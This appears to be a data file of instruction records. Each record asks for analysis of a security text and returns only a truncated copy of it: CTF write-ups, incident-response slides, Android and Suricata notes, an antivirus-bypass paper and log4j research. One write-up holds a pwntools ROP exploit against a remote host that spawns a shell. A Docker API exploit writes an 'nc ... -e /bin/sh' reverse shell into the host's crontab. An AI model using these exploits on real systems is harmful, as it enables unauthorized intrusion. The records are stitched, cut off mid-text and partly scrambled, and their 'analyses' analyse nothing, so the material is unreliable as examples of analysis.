ppr ![](score.png) ### Table of contents * [B3tterS0ci4lN3twork (web)](web50) * [V1rus3pidem1c (web)](web100) * [Weekands of hacker (web)](web150) * [Todays moon phase (pwn)](pwn150) * [4_messages (crypto)](crypto100) * [Evas chance (crypto)](crypto150) * [Chinese Satellite (crypto)](crypto200)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nfindfs === 标签或UUID查找文件系统 ## 补充说明 **findfs命令** 依据卷标Label和UUID查找文件系统所对应的设备文件findfs命令会搜索整个磁盘看是否有匹配的标签或者UUID没有如果有则打印到标注输出上findfs命令也是e2fsprogs项目的一部分 ### 语法 ```shell findfs(参数) ``` ### 参数 `LABEL=<卷标>`或者`UUID=`按照卷标或者UUID查询文件系统 ### 实例 通过卷标名查找对应的文件系统 ```shell findfs LABEL=/boot /dev/hda1 ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n通用型漏洞的应急响应 主讲人 钟武强 腾讯安全应急响应中心TSRC负责人 关于我 钟武强小五微信号Mark4z5 腾讯安全应急响应中心TSRC负责人 广东省信息安全测评中心 > 百度 > 腾讯 十多年安全经验擅长应急响应渗透测试 关于腾讯 中国最大互联网公司全球市值排名第五 产品众多形态多样化 超十亿用户超百万台服务器 安全风险分类 账号风险 欺诈风险 etc.. 漏洞攻击风险 DDOS攻击风险 etc.. 办公网攻击风险 员工违规风险 etc.. 业务安全 应用运维安全 内部安全 漏洞Case 1回顾 2014年 OpenSSL Heartbleed心脏出血漏洞 远程读取服务器内存数据 发送https恶意请求就能窃取到其他用户cookie凭证 各大互联网公司受影响 修复方案升级OpenSSL并重启WebServer等服务 国内某漏洞平台收到的报告 漏洞Case 2回顾 2016年 ImageMagick远程代码执行漏洞 上传一张图片就能入侵服务器 各大互联网公司受影响 国内某漏洞平台收到的报告 国外某互联网巨头公司被爆漏洞 漏洞Case 3回顾 2018年 Intel CPU信息泄漏漏洞 几乎全部Intel CPU受影响 修复方案打微码补丁操作系统补丁 重启系统性能下降还可能蓝屏 Windows补丁修出1个本地提权漏洞 0rz 所以 通用型漏洞 往往影响范围广修复难度大处理非常棘手 腾讯是如何开展通用型漏洞的应急响应 应急响应流程 漏洞获悉 漏洞评估 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 复盘总结 价值输出 第一阶段 第二阶段 第三阶段 漏洞获悉 漏洞评估 没弄到情报 情报来晚了被搞了 好多情报看不过来 情报自动化采集 200个软件源100个资讯类源400个twitter微博源 平均每15分钟采集一轮日均采集1000条 过滤后日均推送告警80条紧急情报重点提醒 漏洞奖励计划 0day 或 最新公开漏洞情报 自主挖掘发现 其他渠道 官方保密性漏洞通知如Intel 私人圈子交流 漏洞获悉 漏洞评估 评估速度慢 评估误判 评估要点 确认漏洞原因危害影响范围PoC和修复方案 评估效率及准确性 关键是人才安全技术及经验的积累 TSRC作为应急指挥中心统一协调确保各项应急工作有序快速开展 第一时间通知安全兄弟团队公司领导业务同事告知风险及后续工作 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 如何全面发现 存在漏洞的业务 主机安全系统本地采集受影响主机 本地执行find/ps/grep/strings/ldd/特定二进制等命令 漏洞扫描器对全业务Web/APP进行检测 人工排查重点业务优先保证重点业务安全 引导业务同事进行自查 白帽子帮忙发现漏网之鱼 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 修复优先级 修复闭环 漏洞咨询量暴增 邮件/微信/工单等方式通知业务修复 给出修复方案和限期外网优先修复 使用工单系统进行闭环避免跟丢 持续确认和周知修复情况 漏洞FAQ文章减少沟通成本 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 修复期间遭攻击 网络入侵检测系统4/7层异常流量 主机入侵检测系统webshell命令执行等 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 修复期间遭攻击 Web应用防火墙WAF拦截恶意请求 主机入侵检测系统具备快速止损能力 一检测到攻击成功立刻断网 漏洞知会 漏洞发现 漏洞修复 攻击检测 攻击拦截 复盘总结 价值输出 按时间线整理应急过程肯定成绩暴露缺陷 举一反三提升安全能力避免长期疲于救火 复盘总结 价值输出 发表内部文章宣传安全价值赢取业务持续配合安全工作 发表外部文章分享安全技术为互联网安全贡献力量 腾讯TEG安全平台部 漏洞扫描 入侵检测 态势感知 WAF拦截 DDOS防御 业务安全 安全大数据 应急响应 红蓝对抗 安全评估 安全预研 AI安全 etc.. 负责全公司安全问题每天枪林弹雨挑战巨大 有挑战才有进步欢迎加入我们 https://security.tencent.com security@tencent.com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Android安全 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **案例** - [Attacking the attackers Hacking like it's 1999](https://asaf.me/2018/07/23/attacking-the-attackers/) - [如何攻击智能汽车远程启动系统Part 1](https://www.anquanke.com/post/id/153373) - [对恶意Android应用Bangle Android App Packer的分析](http://www.freebuf.com/vuls/178919.html) - [怀揣情怀的提醒及时修复(某智能门锁二度分析感悟)](https://paper.seebug.org/343/) - [[Onls丶辜釉]无码分享渗透某社交APP](https://bbs.ichunqiu.com/thread-27421-1-22.html) - [技术讨论 | 看我如何破解一台自动售货机 ](https://www.freebuf.com/articles/terminal/186804.html) - [一个色播APP逆向初窥千万灰色直播产业](https://evilpan.com/2019/01/05/reverse-live-porn-app/) - [Telegram App Store Secret-Chat Messages in Text Database](https://blog.zimperium.com/telegram-hack/) - [对某某加速器逆向抓包破解提取线路分析](https://www.52pojie.cn/thread-1175677-1-1.html) - [APP硬编码密钥渗透测试](https://www.t00ls.net/articles-58594.html) - dexdump 脱壳,AES,OSS 利用 - [BountyHunterInChina/重生之我是赏金猎人(二)-逆向app破解数据包sign值实现任意数据重放添加.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E4%BA%8C)-%E9%80%86%E5%90%91app%E7%A0%B4%E8%A7%A3%E6%95%B0%E6%8D%AE%E5%8C%85sign%E5%80%BC%E5%AE%9E%E7%8E%B0%E4%BB%BB%E6%84%8F%E6%95%B0%E6%8D%AE%E9%87%8D%E6%94%BE%E6%B7%BB%E5%8A%A0.pdf) - [对小绵羊的轰炸APP逆向分析](https://mp.weixin.qq.com/s/fUCGRL-25vLoAPXUd4ZiWw) **CTF writeup** - [BUUCTF Reverse hellowordfindit](https://blog.csdn.net/qq_42967398/article/details/96877555) --- ## 抓包方法 **相关文章** - [太干了Android 抓包姿势总结](https://mp.weixin.qq.com/s/EB0MAJQs1CIEUHezmTFxtg) - [Android Pentesting Setup On Macbook M1](https://infosecwriteups.com/android-pentesting-setup-on-macbook-m1-d2f1f0a8db4b) **mac + Android studio 抓包** ```bash cd cd Library/Android/sdk/emulator ./emulator -list-avds ./emulator -avd test -writable-system # 导出 burp 的证书 cacert.der openssl x509 -inform DER -in cacert.der -out cacert.pem openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1 mv cacert.pem 9a5ba575.0 cd cd L", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMan-In-The-Disk Slava Makkaveev DEF CON 2018 Me Slava Makkaveev Security Researcher Check Point Software Technologies Ltd. PhD in Computer Science Reverse engineering and vulnerability research Android Application Security Basics Apps Sandbox Model Application UID 10045 untrusted_app Android Framework Storage Android OS App UID 10046 Network Apps Permissions Normal/ Dangerous Preinstalled/ Privileged SMS CONTACTS STORAGE ... WRITE_SETTINGS INSTALL_PACKAGES ... ROM Signature/ SharedUserId ACCOUNT_MANAGER OEM_UNLOCK_STATE ... What about Applications Storage? Apps Storage Internal Built-in non-volatile memory Always available Private External Partition in permanent memory Public Removable Not always available World-readable Why use External Storage? Share media files between apps Transfer files between smartphone and PC Compatibility with limited inner storage devices Hide the current size of the application External Storage Protection Global storage access READ_EXTERNAL_STORAGE permission WRITE_EXTERNAL_STORAGE permission Private directory per application Files are not accessible by MediaStore content provider Observing prevention Man-In-The-Disk Attack External Storage Usage Scenario Downloading to external storage Maintaining working data on external storage MITD Attack Vectors Downloading to external storage Maintaining working data on external storage External Storage Observing FileObserver observer; observer = new FileObserver( \"/storage/emulated/0/path/to/folder\") { @Override public void onEvent(int event, String file) { // ... } }; observer.startWatching(); int length, i = 0; int fd, wd; char buffer[EVENT_BUF_LEN]; fd = inotify_init(); wd = inotify_add_watch(fd, \"/tmp\", IN_CREATE); length = read(fd, buffer, EVENT_BUF_LEN); while (i < length) { struct inotify_event *event = (struct inotify_event *) &buffer[i]; // ... i += EVENT_SIZE + event->len; } inotify_rm_watch(fd, wd); close(fd); Java Native Private Directory Observing File w", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Suricata

--- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **官网** - https://suricata-ids.org/ **项目地址** - https://github.com/OISF/suricata **简介** Suricata 是由 OISF开发信息安全基金会开发它也是基于签名但是集成了创新的技术该引擎嵌入了一个 HTTP 规范化器和分析器HTP 库可提供非常先进的 HTTP 流处理从而能够在 OSI 模型的第七层应用层上解析流量 Suircata 是一款支持 IDS 和 IPS 的多线程入侵检测系统与传统 Snort 相比Suircata 的多线程和模块化设计上使其在效率和性能上超过了原有 Snort它将 CPU 密集型的深度包检测工作并行地分配给多个并发任务来完成这样的并行检测可以充分利用多核硬件的优势来提升入侵检测系统的吞吐量在数据包的深度检测上效果优越并且 Suircata 可以兼容现有的 Snort 规则签名还增加了对 ipv6 的支持已经逐渐成为传统 Snort 入侵检测系统的代替方案 **相关文章** - [Suricata工控规则研究](https://www.freebuf.com/articles/ics-articles/237420.html) - [Suricata IDS 入门 规则详解](https://www.secpulse.com/archives/71603.html) - [使用Suricata和ELK进行流量检测](https://zhuanlan.zhihu.com/p/64742715) - [Suricata规则介绍以及使用suricata-update做规则管理](https://zhuanlan.zhihu.com/p/36340468) - [suricata下的挖矿行为检测](https://www.freebuf.com/articles/network/195171.html) - [Suricata + Lua实现本地情报对接](https://www.freebuf.com/sectool/218951.html) **架构** Suricata 有三种运行模式分别为 singleworkersautofp官方推荐性能最佳的运行模式为 workers 模式 - single 模式只有一个包处理线程一般在开发模式下使用 - workers 模式多个包处理线程每个线程包含完整的处理逻辑 - autofp 模式有多个包捕获线程多个包处理线程一般适用于 nfqueue 场景从多个 queue 中消费流量来处理 报文检测系统通常包含四大部分报文获取报文解码报文检测日志记录Suricata 不同的功能安装模块划分一个模块的输出是另一个模块的输入 --- ## 安装部署 **Ubuntu 下安装** ```bash add-apt-repository ppa:oisf/suricata-stable apt update apt install -y suricata jq apt install -y suricata-update ``` ### 基础使用 ```bash suricata-update # 更新规则 suricata -T # 测试运行 suricata -i ens33 -c /etc/suricata/suricata.yaml -vvv # 启动运行 # 注: 这里 -vvv 参数建议加上. 如果你的Lua脚本有一些问题, 如果加上了这个参数, 就可以通过 suricata.log 日志看出 suricata -r -c /etc/suricata/suricata.yaml -vvv # 在PCAP脱机模式重放模式下运行从PCAP文件读取文件如果指定了一个目录则该目录中的所有文件将按修改时间的顺序进行处理以保持文件之间的流状态 ``` ### 配置文件 `/etc/suricata/` 目录下有 4 个配置文件和一个文件夹, 作用分别是: - classification.config : 定义了各种流量攻击类型和优先级类似拒绝服务攻击和 web 应用攻击等 - reference.config : 记录一些安全网站漏洞平台的网址或者是自己可以自定义的 url是参考的意思用来联系外部的恶意攻击检测网站中关于此类攻击的页面 - su", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n/* * Copyright 2015-2016 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the \"License\"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an \"AS IS\" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.springdata.rest.headers; import example.springdata.rest.headers.Customer.Gender; import javax.annotation.PostConstruct; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.data.jpa.repository.config.EnableJpaAuditing; /** * @author Oliver Gierke * @soundtrack The Intersphere - Out of phase (Live at Alte Feuerwache Mannheim) */ @EnableJpaAuditing @SpringBootApplication public class Application { public static void main(String... args) { SpringApplication.run(Application.class, args); } @Autowired CustomerRepository customers; public @PostConstruct void init() { customers.save(new Customer(\"Dave\", \"Matthews\", Gender.MALE, // new Address(\"4711 Some Place\", \"54321\", \"Charlottesville\", \"VA\"))); } }", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n5space WrtieUp By Nu1L 5space WrtieUp By Nu1L Pwn H3llOR0P Crypto 5_vgcd Reverse 5_crackme crackme_2 Web 5_web_BaliYun 5_web_Eeeeasy_SQL eazylogin 5_web_letmeguess_1 Database cloudsql_reveage Misc sakan sakana_revenge 5_Misc_m@sTeR_0f Pwn H3llOR0P from pwn import * # p = process('./H3ll0Rop') p = remote('123.56.175.221', '14454') elf = ELF('./H3ll0Rop') libc = ELF('./libc-2.23.so') puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] vuln = elf.sym['vuln'] pop_rdi = 0x0000000000400753 payload = b'a'*104 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln) p.recvuntil(b'me???\\n\\n') p.sendline(payload) p.recvuntil(b'pwn it\\n\\n') puts_real = u64(p.recvline()[:-1].ljust(8,b'\\x00')) libc.address = puts_real - libc.sym['puts'] # p.interactive() Crypto 5_vgcd Reverse system = libc.sym['system'] binsh = next(libc.search('/bin/sh\\x00'.encode())) payload = b'a'*104 + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0xdeadbeef) p.sendline(payload) p.interactive() from Crypto.Util.number import * from random import getrandbits, seed from gmpy2 import mpz import gmpy2 from tqdm import tqdm from multiprocessing import Pool from sage.all import * with open('/mnt/f/ctf/5space2022/3074f5e0c/output3.txt', 'r') as f: n = eval(f.readline().strip()) c = eval(f.readline().strip()) xs_ = eval(f.readline().strip()) xs_ += eval(f.readline().strip()) xs_ += eval(f.readline().strip()) xs_ += eval(f.readline().strip()) xs_ += eval(f.readline().strip()) for i in range(len(xs_)): for j in range(i+1, len(xs_)): x1 = xs_[i][0] - xs_[j][0] x2 = xs_[i][1] - xs_[j][1] phigh = int(gcd(x1, x2)) if phigh.bit_length() > 200 and isPrime(phigh): P. = PolynomialRing(Zmod(n)) kbits = 512 - 288 phigh = phigh << kbits h = phigh + x roots = h.small_roots(2kbits, beta=0.4, epsilon=1/32) if roots: p = int(h(roots[0])) assert n % p == 0 q = n // p d = inverse_mod(65537, (p-1)*(q-1)) m = pow(c, d, n) print(long_to_bytes(int(m))) exit() Reverse 5_crackme VERSION=\"OpenHarmony 1.0 提取rootfs.img /etc/init.cfg中可以看", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Docker daemon api unauthorized access exploit [中文版本(Chinese version)](README.zh-cn.md) Reference Links - http://www.loner.fm/drops/#!/drops/1203.%E6%96%B0%E5%A7%BF%E5%8A%BF%E4%B9%8BDocker%20Remote%20API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%92%8C%E5%88%A9%E7%94%A8 ## Vulnerability environment Enter the following command to build and run the vulnerability environment: ``` docker compose build docker compose up -d ``` ## Exploit Start a container, and mount the host `/etc` folder to the container, then we will have read/write access to any files. We can put the commands in crontab configuration file to reverse shell ```python import docker client = docker.DockerClient(base_url='http://your-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c \"echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root\" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) ``` Reverse shell exploit by injecting commands in crontab: ![](1.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Bypass Antivirus Dynamic Analysis Limitations of the AV model and how to exploit them Date of writing: 08/2014 Author: Emeric Nasi emeric.nasi[at]sevagas.com Website: http://www.sevagas.com/ License: This work is licensed under a Creative Commons Attribution 4.0 International License Note: This paper requires some knowledge C and Windows system programming 2 1. Introduction Antivirus are easy to bypass , Antivirus are mandatory in defense in depth , This Cryptor is FUD are some of the sentence you hear when doing some researches on antivirus security. I asked myself, hey is it really that simple to bypass AV? After some research I came (like others) to the conclusion that bypassing Antivirus consists in two big steps: Hide the code which may be recognized as malicious. This is generally done using encryption. Code the decryption stub in such a way it is not detected as a virus nor bypassed by emulation/sandboxing. In this paper I will mainly focus on the last one, how to fool antivirus emulation/sandboxing systems. Ive set myself a challenge to find half a dozen of ways to make a fully undetectable decryption stub (in fact I found way more than that). Here is a collection of methods. Some of those are very complex (and most FUD cryptor sellers use one of these). Others are so simple I dont understand why Ive never seen these before. I am pretty sure underground and official virus writers are fully aware about these methods so I wanted to share these with the public. 2. Table of Contents 1.Introduction ......................................................................................................................................... 2 2.Table of Contents ................................................................................................................................. 2 3.Bypassing Antivirus theory ................................................................................................................... 3 3.1.Static signature analys", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 第一章 引论 编译器Compiler是一种将高级程序设计语言如 CC++Java等编写的源代码转换为目标代码如汇编语言或机器码的程序编译器通过一系列的处理步骤将源代码翻译成机器可以执行的指令集使程序可以被计算机直接执行 编译器通常包括以下几个主要的处理步骤 1. 词法分析Lexical Analysis将源代码转换为一个个标记Token如关键字标识符数字运算符等 2. 语法分析Syntax Analysis根据语言规范分析源代码中的语法结构构建出抽象语法树Abstract Syntax Tree, AST以方便后续的分析和转换 3. 语义分析Semantic Analysis分析源代码的语义检查类型匹配变量作用域函数调用等语义问题 4. 代码优化Code Optimization对生成的目标代码进行优化以提高程序性能 5. 代码生成Code Generation将优化后的中间代码翻译成目标代码如汇编语言或机器码 编译器在程序开发过程中发挥着重要的作用可以将高级程序设计语言翻译成底层的指令集以实现计算机程序的执行同时编译器还能够进行错误检查优化和调试等功能提高程序开发的效率和程序性能 ## 语言处理器 语言处理器Language Processor是一种将一种语言转换为另一种语言或执行程序的软件系统它包括编译器解释器汇编器链接器等 编译器Compiler是一种将高级程序设计语言如 CC++Java等编写的源代码转换为目标代码如汇编语言或机器码的程序编译器通过一系列的处理步骤将源代码翻译成机器可以执行的指令集使程序可以被计算机直接执行 解释器Interpreter是一种直接执行源代码的程序不需要将源代码转换为目标代码解释器逐行解释源代码并将其转换为计算机可以理解的指令集然后直接执行这些指令 汇编器Assembler是一种将汇编语言代码转换为机器码的程序汇编器将汇编语言代码转换为二进制代码以便计算机可以直接执行 链接器Linker是一种将多个目标文件链接成一个可执行文件的程序链接器将多个目标文件中的符号表进行合并并将它们链接到正确的内存地址上以便程序可以正确执行 语言处理器在计算机程序开发中扮演着重要的角色它可以将高级程序设计语言翻译成底层的指令集以实现计算机程序的执行同时语言处理器还能够进行错误检查优化和调试等功能提高程序开发的效率和程序性能 ------ JAVA是一种先编译后解释的语言下面是JAVA编译和解释的过程 1. 编写JAVA源代码程序员使用文本编辑器等工具编写JAVA源代码源代码文件的扩展名为.java 2. 编译JAVA源代码使用Javac编译器将JAVA源代码编译成字节码文件字节码文件的扩展名为.class编译器将源代码中的每个类编译成一个独立的字节码文件每个字节码文件包含了该类的方法变量和常量等信息 3. 加载字节码文件Java虚拟机JVM将字节码文件加载到内存中并对其进行解析 4. 字节码校验JVM对字节码文件进行校验检查它是否符合Java语言规范如果字节码文件存在问题JVM会拒绝执行该文件 5. 字节码优化JVM对字节码文件进行优化以提高程序的性能JVM会进行常量折叠代码移除方法内联等优化操作 6. 解释字节码JVM解释字节码文件中的指令将其转换为机器码并执行JVM还会进行内存管理线程管理异常处理等操作 因此JAVA编译和解释的过程可以分为两个阶段编译阶段和运行阶段在编译阶段Javac编译器将JAVA源代码编译成字节码文件在运行阶段JVM将字节码文件加载到内存中并解释执行 ------ 预处理器Preprocessor是一种对源代码进行预处理的程序主要用于进行宏替换条件编译等操作以便将源代码转换为适合编译器处理的形式预处理器通常被用于CC++Objective-C等语言中 预处理器可以进行以下一些操作 1. 宏替换Macro Expansion预处理器可以将源代码中的宏Macro展开为对应的代码以便编译器能够正确处理 2. 条件编译Conditional Compilation预处理器可以根据条件编译指令选择性地编译或忽略源代码中的部分内容这在编写可移植代码或处理不同操作系统的API时很有用 3. 文件包含File Inclusion预处理器可以通过#include指令将一个文件中的内容包含到另一个文件中以便代码复用和模块化编程 4. 特殊指令Special Directives预处理器还可以通过特殊指令向编译器传递额外的信息如指定链接库定义编译器变量等 预处理器的输出通常是一份新的源代码文件其中宏已经被展开条件编译已经完成文件已经包含编译器将这个新的源代码文件作为输入对其进行编译和链接等操作最终生成可执行文件 总之预处理器是编程中的一个重要工具可以使程序更加灵活可维护和可重用它可以减少代码冗余提高程序", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Evil Website (forensics) We're given a directory containing lots of interesting firefox stuff. ``` [michal@Bobik] [/dev/ttys002] [master ] [~/Downloads/Chall]> ls AlternateServices.txt containers.json firebug modifyheaders.conf serviceworker.txt SecurityPreloadState.txt content-prefs.sqlite formhistory.sqlite notificationstore.json sessionCheckpoints.json SiteSecurityServiceState.txt cookies.sqlite gmp permissions.sqlite sessionstore-backups addonStartup.json.lz4 cookies.sqlite-shm gmp-gmpopenh264 pkcs11.txt shield-preference-experiments.json addons.json cookies.sqlite-wal gmp-widevinecdm places.sqlite storage blocklist.xml crashes handlers.json places.sqlite-shm storage.sqlite blocklists datareporting key3.db places.sqlite-wal times.json bookmarkbackups extensions key4.db pluginreg.dat weave browser-extension-data extensions.json kinto.sqlite prefs.js webapps cert8.db favicons.sqlite lock revocations.txt webappsstore.sqlite cert9.db favicons.sqlite-shm logins.json saved-telemetry-pings webappsstore.sqlite-shm cert_override.txt favicons.sqlite-wal mimeTypes.rdf search.json.mozlz4 webappsstore.sqlite-wal compatibility.ini features minidumps secmod.db xulstore.json ``` Unfortunately, all we had to do is notice a pretty suspicious cookie: ![cookie](cookie.png) Decoding the base64 gave us a weird `Targa image data` file. You might be tempted to look for some weird ancient software just to view it, but as it turned out that the best way was to actually just import it into gimp as raw data: ![solution](solution.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n消失的那几年 杨 蔚 301 白帽子的成长独白 2016.07.14 众安天下 关于我 01 90后连续创业者黑客理想主义者 02 乌云核心白帽子大学肄业 03 原乌云合伙人乌云众测平台负责人 04 北京众安天下科技有限公司创始人兼 CEO安全自媒体平台出品人301 在路上 WeChat2036234 Email301@allsec.cn 杨 蔚 花名301 众安天下 CONTENT 消失的那几年哪去了 这几年做到的事情 快速成长的秘笈 安全总结与建议 众安天下 1消失的那几年哪去了 众安天下 消失的那几年哪去了 WHY? 高考失利人生太顺无法接受 WHAT? 网络工作室把自己关在网络世界 里但因经营不善工作室关闭 HOW? 选择继续消失逃避不愿他人 看到自己的失意和落魄退学 WHERE? 与亲朋好友断绝了联系失联很 久在新的地方重新开始创业 一心想挤进\"安全圈\" 消失的那几年的愿景 众安天下 大部分人的成长轨迹\" 消失的那几年哪去了 众安天下 利用大量精力弥补 消失的那几年哪去了 301一直在路上 众安天下 消失的那几年哪去了 \" 301什么时候来北京出差\" 身边所有的声音 众安天下 2这几年做到的事情 众安天下 高级安全顾问2012.72014.2 在国内知名安全咨询公司谷安天下做渗透测试方向 安全顾问\"野蛮生长\" 乌云合伙人乌云众测负责人20142016.4 负责乌云企业商业运营及技术服务创新业务服务 企业和白帽子并完成很多不可能的事情 众安天下创始人兼CEO2016年创业在路上 安全人才服务安全内容服务提供一站式的企业安 全顾问服务等 这几年做到的事情 众安天下 这几年遇到的事情 \"白帽子不信任不理解\" 身边大部分的声音 众安天下 \"你之所以看不到黑暗\" \"是因为有人竭尽全力把黑暗挡在你看不到的地方\" 这几年遇到的事情 暴走大事件主编王尼玛 众安天下 3快速成长的秘笈 众安天下 第一健康心态 快速成长的秘笈 众安天下 第二换位思考 快速成长的秘笈 众安天下 第三自我驱动 快速成长的秘笈 众安天下 第四提升效率 快速成长的秘笈 众安天下 第五自信不自负 快速成长的秘笈 众安天下 第六合理试错 快速成长的秘笈 众安天下 第七专业技能 快速成长的秘笈 众安天下 第八行业知识 快速成长的秘笈 众安天下 4安全总结和建议 众安天下 \"原地踏步就是退步\" 安全的建议和总结 众安天下 \"最大的对手是自己\" 安全的建议和总结 众安天下 \"真正懂你的人不是自己\" \"而是竞争对手\" 安全的建议和总结 众安天下 \"执行力是成功的第一生产力\" 安全的建议和总结 众安天下 多数失败死在\"快\"的路上 安全的建议和总结 众安天下 \"大部分人什么是竞争力 \" 安全的建议和总结 众安天下 \"把简单的事情做到极致\" \"就是核心竞争力\" 安全的建议和总结 众安天下 \"意欲取之必先予之\" 安全的建议和总结 众安天下 \"安全是一种能力\" \"技术转化为生产力\" 安全的建议和总结 众安天下 在对的时间里 跟对的人 一起做对的事情 安全的建议和总结 众安天下 认可包容机会 \" 安全的建议和总结 安全新人们的心音 众安天下 THANK YOU 聚天下英才而用之 以人为本众安天下 www.allsec.cn 众安天下 301在路上 301@allsec.cn", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCopyright 2013 NCC Group An NCC Group Publication Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack Interactions Prepared by: Andy Davis Research Director andy.davis at nccgroup.com NCC Group | Page 2 Copyright 2013 NCC Group Contents 1 List of Figures and Tables .......................................................................................................... 3 2 Introduction .................................................................................................................................. 4 2.1 Previous Research ................................................................................................................ 4 3 USB Background: The Enumeration Phase in Detail ............................................................... 4 4 USB Testing Platform .................................................................................................................. 8 5 USB Stack Implementations ....................................................................................................... 9 6 Identifying Supported Devices ................................................................................................. 10 6.1 USB Device Classes ........................................................................................................... 10 6.2 Enumerating Installed Class Drivers ................................................................................... 12 6.3 Other Devices Already Connected...................................................................................... 13 7 Fingerprinting Techniques ....................................................................................................... 14 7.1 Operating System Identification .......................................................................................... 14 7.2 Application Identification ..................................................................................................... 14 7.3 Timing ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Back to the basics, re, 293p >You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. Running the attached file on the emulator greets us with password prompt, so we probably have to guess it. The binary was \"compiled\" BASIC code, and running it through a few disassemblers showed only a couple of lines of source; much less than what we would expect from 32kB binary. There are a few strange `POKE`s there, and when we checked what addresses they write to, it turned out to be program memory - so we have a self-modifying code there! Not willing to run it with debugger, I wrote a simple dumb disassembler, not stopping on any errors - `replace.py`. We then found some extra lines: ``` 2001 POKE 03397, 00069 : POKE 03398, 00013 2002 POKE 1024 + CHKOFF + 1, 81:POKE 55296 + CHKOFF + 1, 7 2004 ES = 03741 : EE = 04981 : EK = 148 2005 FOR I = ES TO EE : K = ( PEEK (I) + EK ) AND 255 : POKE I, K : NEXT I 2009 POKE 1024 + CHKOFF + 1, 87 ``` These lines seem to be decoding some data, which happened to be garbage bytes placed right afterwards. We wrote a script running the same algorithm (in a few places, since there were multiple blocks of code like that) - `decode.py`. Disassembling the new code too, we found most of it readable. The encrypted chunks were of following form: ``` 2010 V = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : G = 0 2020 BA = ASC ( MID$ (P$, 1, 1) ) 2021 BB = ASC ( MID$ (P$, 2, 1) ) 2025 P0 = 0:P1 = 0:P2 = 0:P3 = 0:P4 = 0:P5 = 0:P6 = 0:P7 = 0:P8 = 0:P9 = 0:PA = 0:PB = 0:PC = 0 2030 IF BA AND 1 THEN P0 = 0.062500000001818989403545856475830078125 2031 IF BA AND 2 THEN P1 = 0.0156250000004547473508864641189575195312 2032 IF BA AND 4 THEN P2 = 0.0039062500001136868377216160297393798828 2033 IF BA AND 8 THEN P3 = 0.0009765625000284217094304040074348449707 2034 IF BA AND 16 THEN P4 = 0.0002441406250071054273576010018587112427 203", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n对 log4j2 漏洞的后续研究中发现些有趣的东记录分享下 先提出个问题log4j 真的在任何情况不存在 JNDI注吗 答案是否定的 翻阅 Log4j2 的 pull request 发现个有意思的对话 有提出实际上 log4j 和 log4j2 样易受攻击的只不过与 log4j2 相Log4j 的攻击向量更安全 因为 Log4j 的攻击点是其配置件 log4j2 的攻击点是户的输 那么实际上如何呢经过我简单测试发现修改 log4j 的配置件确实会导致漏洞的产但要求要pull reques中所说的更苛刻 先在 maven 中添加以下依赖 001 写在前 002 log4j 真的在任何情况不存在 JNDI注吗 案例1 log4j 配置件中 